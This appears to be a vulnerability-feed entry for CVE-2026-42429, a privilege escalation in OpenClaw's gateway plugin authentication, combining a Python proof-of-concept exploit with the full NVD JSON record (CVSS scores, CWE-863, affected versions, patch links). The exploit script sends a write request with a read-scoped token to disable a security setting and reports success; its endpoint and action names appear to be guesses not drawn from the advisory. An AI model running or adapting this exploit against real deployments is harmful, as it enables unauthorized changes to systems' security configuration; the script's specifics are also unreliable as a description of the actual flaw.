CVE-2026-42429

import requests # Target URL for the OpenClaw gateway API target_url = "http://target-openclaw-instance/gateway/api/runtime" # Headers with a low-privilege token (operator.read scope) # The vulnerability allows this token to perform write operations headers = { "Authorization": "Bearer <operator_read_token>", "Content-Type": "application/json" } # Malicious payload attempting a write operation # Exploiting the logic flaw where read requests are widened to write permissions payload = { "action": "modify_runtime_config", "parameters": { "setting_key": "critical_security_flag", "new_value": "disabled" } } try: # Sending the request response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Write access granted via read scope.") print("[+] Response:", response.text) else: print("[-] Exploit failed or patch applied.") print("[-] Status Code:", response.status_code) except Exception as e: print("[!] Error during exploit execution:", str(e))

{"cve": {"id": "CVE-2026-42429", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:46.773", "lastModified": "2026-04-30T14:06:05.320", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.8 contains a privilege escalation vulnerability in the gateway plugin HTTP authentication mechanism that widens identity-bearing operator.read requests into runtime operator.write permissions. Attackers can exploit this by sending read-scoped requests through the gateway auth route to gain unauthorized write access to runtime operations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.4.8", "matchCriteriaId": "37A0977C-2C03-4821-B459-0FD7E4A6635A"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/d7c3210cd6f5fdfdc1beff4c9541673e814354d5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-4f8g-77mw-3rxc", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-privilege-escalation-via-gateway-plugin-http-authentication", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}